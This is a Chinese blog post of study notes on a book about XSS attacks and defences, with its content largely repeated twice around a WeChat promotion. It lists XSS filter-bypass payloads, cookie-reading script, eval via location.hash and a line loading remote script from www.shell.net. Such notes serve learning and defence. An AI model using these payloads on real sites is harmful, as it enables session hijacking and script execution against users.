XSS跨站剖析与防御总结
先说一下自己的感受吧:对xss有了一个基本的概况,感觉是一本很不错的入门书。就像我知道了flash的脚本语言和js差不多,所以会有flash也有安全问题的出现 了解到了引用flash文件的标签,常见的几个触发事件、绕过机制:双写、大小写、编码、href里的js伪函数、空格、换行。但是感觉要想印象深刻的话还是和题目一起做比较好。就像我这次做的xss闯关题目一样,先去做了几题,感觉有很多不懂的,然后再去看书,解决问题,加深了印象感觉还是很不错的
2.利用方式剖析
3.测试和工具剖析
4.发掘xss漏洞
5.xss worm剖析
6.Flash应用安全
7.深入理解xss原理
8.防御xss攻击
随意操作一个HTML标签
(2)利用HTML属性执行xss
javascript:[code]伪协议 不过有的浏览器可能不支持此伪协议
通常只有引用文件的属性才能触发跨站脚本 href=
lowsre=
bgsound=
value=
action=
dynsrc= (3)拆分关键字(空格回车tab)
使关键字拆分(这里的空格使用tab键表示)
其实其它键位符也可以,例如回车换行 js语句通常以分号结尾,如果js确定一个语句是完整的,而这一行的结尾有换行符,就可以省略分号
var a=true
var b="this is also true" 如果遇到换行符,但是语句不完整,引擎还是会把换行符解释为语句的终止符
<img src="javas cript:alert(/xss/)" width=100> <img src="javas
cript:"alert(/xss/)" width=100>
(4)对标签属性值转码
通过编码来处理绕过,html属性本身支持ASCII
t的ASCII码值为116,用“t”表示
tab符 	,换行符 
,回车符 
(5)产生自己的事件
原理:js可以和html交互 事件:浏览器自身执行的某种动作 click、mouseover、load 事件能够说明用户何时做了某件事情或页面何时加载完毕
用户接口(键盘、鼠标)
逻辑(处理的结果)
变化(对文档进行修改) 常见的事件:onload、onerror、onclick、onmouseover、onscroll
(6)利用CSS跨站剖析
xss脚本的另一个载体是css,隐蔽、灵活,但是各浏览器之间不能通用 <img style="background-image: url(jacascript:alert('XSS'))"
<img src="javascript:alert('XSS')"> 一般都用到style属性来执行xss,但是也可以不需要嵌入到html代码中,它能从其他文件处进行引用
比如<link>、@import、expression
@import、expression都可以执行js代码
(7)扰乱过滤规则
一个正常的xss输入 <img src="javascript:alert(0);">
转换大小写后的xss <IMG SRC="javascript:alert(0);">
大小写混淆的xss <iMg sRC="jaVascript:alert(0);">
不用双引号,而是用单引号 <img src='javascript:alert(0);''>
不使用引号 <img src=javascript:alert(0);> 样式表中/**/,\,\0结束符 会被浏览器忽略,可用来注释 关键字转码
(8)拆分跨站法
对输入字长有限制的话可以使用此方法
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'script'</script>
<script>z=......</script>
<script>z=eval(z)</script> document.write('<script src =//www.shell.net/1.js></script>') 为防止xss,有一个专门的工具集: .NET AntiXSS 常见实例: <img/src="javascript:alert('xss');">
<img src="javascriptt:alert(/xss);">
<table background="javascript:alert(/xss/)"></table>
"><script>alert(document.cookie)</script>
<div style="width:expression(alert('XSS'));">
<div style="{left:expression(alert('xss'))}"
shellcode,最初是溢出程序和蠕虫病毒的核心,实际上是指利用一个漏洞是所执行的代码
exploit,指漏洞利用,完整的漏洞利用工具,有一定的攻击性,expolit往往包含了shellcode
poc证明一段漏洞存在的代码片段
2.通过标签值访问 window.location.hash可以用来获取页面标签的值
http://domain/#admin location.hash="#admin" url中的‘#’是定位锚点的位置,之后的内容不会传递到服务器
http://www.bug.com/view.php?sort="><script>eval(location.hash.substr(1)</script>#alert('xss'))
substr()可获取从start下标开始的指定数目的字符(从1开始)
3.XSS downloader
将它们存储到数据库、文章内容、个人资料等中,然后下载下来执行
4.备选存储技术
xss shellcode存储在客户端本地域中,http coolie、flash 共享对象、localStorege
可获取用户浏览器的某些历史纪录,原理为css能定义和控制链接样式的特性
链接样式:link、visited、active、hover
结合社工 主要利用了dom中的getComputedStyle()来实现 获取剪贴板的重要信息
clearData()
getData()
setData()
document.URLUnencoded
document.location
document.referrer
window.location document.write(...)
document.writeln(...)
document.body.innerHtml=..
document.form[0].action= php中的变量覆盖
1.register_globals=on 各种变量都可以被重新注册
2.extract()覆盖原有的值
3.遍历初始化变量
通过 <embed>或 <object>标签引入flash,通过allowScriptAccess属性决定是否可以执行flash脚本代码
ActionScript中可以由查询参数指定的未初始化变量有: _root.*
_global.*
_leve10.* 注入点如下:
getURL函数
htmlText属性
load* flash文件通常为.swf,要通过反汇编查看源代码,分析ActionScript,
获取url的函数:2.0 getURL /////// 3.0 Externalinterface.call flash客户端提供了两个控制属性,allowScriptAccess属性和allowNetworking属性
其中allowScriptAccess控制flash与html页面的通讯,设置不当可能会导致xss
allowNetworking控制flah与外部网络的通信,设置不当可能会导致csrf
原因,漏洞,身份验证和会话信息的处理不够严谨 从第三方页面发起对当前域的请求,改请求也会带上在已登陆网站的cookie,这种认证方式称之为隐式认证 json可保存任何数据类型,可保存不同的数组与对象,随意嵌套
通过ajax技术处理json数据的方式称作“回调发”。当json数据文件被加载完成后都会调用一个特别的函数,该数据以json数据作为参数 通过json hijacking,攻击者可以绕过同源策略 pdf基于js编辑,也可能产生漏洞 他人的 绕过总结: http://www.cnblogs.com/cyjaysun/p/4481385.html flash攻击总结: https://blog.csdn.net/ltysg0645/article/details/54018356 腾讯xss实例教程: http://www.treelib.com/book-detail-id-10-aid-396.html
扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄
SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。
书本的目录
1.初探2.利用方式剖析
3.测试和工具剖析
4.发掘xss漏洞
5.xss worm剖析
6.Flash应用安全
7.深入理解xss原理
8.防御xss攻击
跨站请求的特点
最大的特点,能注入恶意的html/javascript代码到用户浏览的网页上,从而达到劫持用户会话的目的 核心--javaScript,最初用来做一个脚本接口,用于浏览器客户端加载的网页和服务器端的应用之间web应用程序 对用户输入过滤不足产生的 对服务器没有直接危害,借助网站传播,是网站的大量用户受到攻击跨站脚本的实质
(1)利用<>标记注射html/javascript随意操作一个HTML标签
(2)利用HTML属性执行xss
javascript:[code]伪协议 不过有的浏览器可能不支持此伪协议
通常只有引用文件的属性才能触发跨站脚本 href=
lowsre=
bgsound=
value=
action=
dynsrc= (3)拆分关键字(空格回车tab)
使关键字拆分(这里的空格使用tab键表示)
其实其它键位符也可以,例如回车换行 js语句通常以分号结尾,如果js确定一个语句是完整的,而这一行的结尾有换行符,就可以省略分号
var a=true
var b="this is also true" 如果遇到换行符,但是语句不完整,引擎还是会把换行符解释为语句的终止符
<img src="javas cript:alert(/xss/)" width=100> <img src="javas
cript:"alert(/xss/)" width=100>
(4)对标签属性值转码
通过编码来处理绕过,html属性本身支持ASCII
t的ASCII码值为116,用“t”表示
tab符 	,换行符 
,回车符 
(5)产生自己的事件
原理:js可以和html交互 事件:浏览器自身执行的某种动作 click、mouseover、load 事件能够说明用户何时做了某件事情或页面何时加载完毕
用户接口(键盘、鼠标)
逻辑(处理的结果)
变化(对文档进行修改) 常见的事件:onload、onerror、onclick、onmouseover、onscroll
(6)利用CSS跨站剖析
xss脚本的另一个载体是css,隐蔽、灵活,但是各浏览器之间不能通用 <img style="background-image: url(jacascript:alert('XSS'))"
<img src="javascript:alert('XSS')"> 一般都用到style属性来执行xss,但是也可以不需要嵌入到html代码中,它能从其他文件处进行引用
比如<link>、@import、expression
@import、expression都可以执行js代码
(7)扰乱过滤规则
一个正常的xss输入 <img src="javascript:alert(0);">
转换大小写后的xss <IMG SRC="javascript:alert(0);">
大小写混淆的xss <iMg sRC="jaVascript:alert(0);">
不用双引号,而是用单引号 <img src='javascript:alert(0);''>
不使用引号 <img src=javascript:alert(0);> 样式表中/**/,\,\0结束符 会被浏览器忽略,可用来注释 关键字转码
(8)拆分跨站法
对输入字长有限制的话可以使用此方法
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'script'</script>
<script>z=......</script>
<script>z=eval(z)</script> document.write('<script src =//www.shell.net/1.js></script>') 为防止xss,有一个专门的工具集: .NET AntiXSS 常见实例: <img/src="javascript:alert('xss');">
<img src="javascriptt:alert(/xss);">
<table background="javascript:alert(/xss/)"></table>
"><script>alert(document.cookie)</script>
<div style="width:expression(alert('XSS'));">
<div style="{left:expression(alert('xss'))}"
shellcode,最初是溢出程序和蠕虫病毒的核心,实际上是指利用一个漏洞是所执行的代码
exploit,指漏洞利用,完整的漏洞利用工具,有一定的攻击性,expolit往往包含了shellcode
poc证明一段漏洞存在的代码片段
调用远程的js
1.远程调用js2.通过标签值访问 window.location.hash可以用来获取页面标签的值
http://domain/#admin location.hash="#admin" url中的‘#’是定位锚点的位置,之后的内容不会传递到服务器
http://www.bug.com/view.php?sort="><script>eval(location.hash.substr(1)</script>#alert('xss'))
substr()可获取从start下标开始的指定数目的字符(从1开始)
3.XSS downloader
将它们存储到数据库、文章内容、个人资料等中,然后下载下来执行
4.备选存储技术
xss shellcode存储在客户端本地域中,http coolie、flash 共享对象、localStorege
cookie
js/css history hack技巧 ha.ckers.org/weird/CSS-history-hack.html可获取用户浏览器的某些历史纪录,原理为css能定义和控制链接样式的特性
链接样式:link、visited、active、hover
结合社工 主要利用了dom中的getComputedStyle()来实现 获取剪贴板的重要信息
clearData()
getData()
setData()
php
中有 超全局变量,可供用户控制 document.URLdocument.URLUnencoded
document.location
document.referrer
window.location document.write(...)
document.writeln(...)
document.body.innerHtml=..
document.form[0].action= php中的变量覆盖
1.register_globals=on 各种变量都可以被重新注册
2.extract()覆盖原有的值
3.遍历初始化变量
flash
flash是直接嵌入到html中的,不能被url加载,但是可以通过url来设置全局参数
有的未初始化变量是我们可以控制其内容的通过 <embed>或 <object>标签引入flash,通过allowScriptAccess属性决定是否可以执行flash脚本代码
ActionScript中可以由查询参数指定的未初始化变量有: _root.*
_global.*
_leve10.* 注入点如下:
getURL函数
htmlText属性
load* flash文件通常为.swf,要通过反汇编查看源代码,分析ActionScript,
获取url的函数:2.0 getURL /////// 3.0 Externalinterface.call flash客户端提供了两个控制属性,allowScriptAccess属性和allowNetworking属性
其中allowScriptAccess控制flash与html页面的通讯,设置不当可能会导致xss
allowNetworking控制flah与外部网络的通信,设置不当可能会导致csrf
json
数据交换格式json技术,js的子集 csrf劫持用户在已登陆的站点上的身份,诱使在改身份下执行非本意的操作原因,漏洞,身份验证和会话信息的处理不够严谨 从第三方页面发起对当前域的请求,改请求也会带上在已登陆网站的cookie,这种认证方式称之为隐式认证 json可保存任何数据类型,可保存不同的数组与对象,随意嵌套
通过ajax技术处理json数据的方式称作“回调发”。当json数据文件被加载完成后都会调用一个特别的函数,该数据以json数据作为参数 通过json hijacking,攻击者可以绕过同源策略 pdf基于js编辑,也可能产生漏洞 他人的 绕过总结: http://www.cnblogs.com/cyjaysun/p/4481385.html flash攻击总结: https://blog.csdn.net/ltysg0645/article/details/54018356 腾讯xss实例教程: http://www.treelib.com/book-detail-id-10-aid-396.html

更多精彩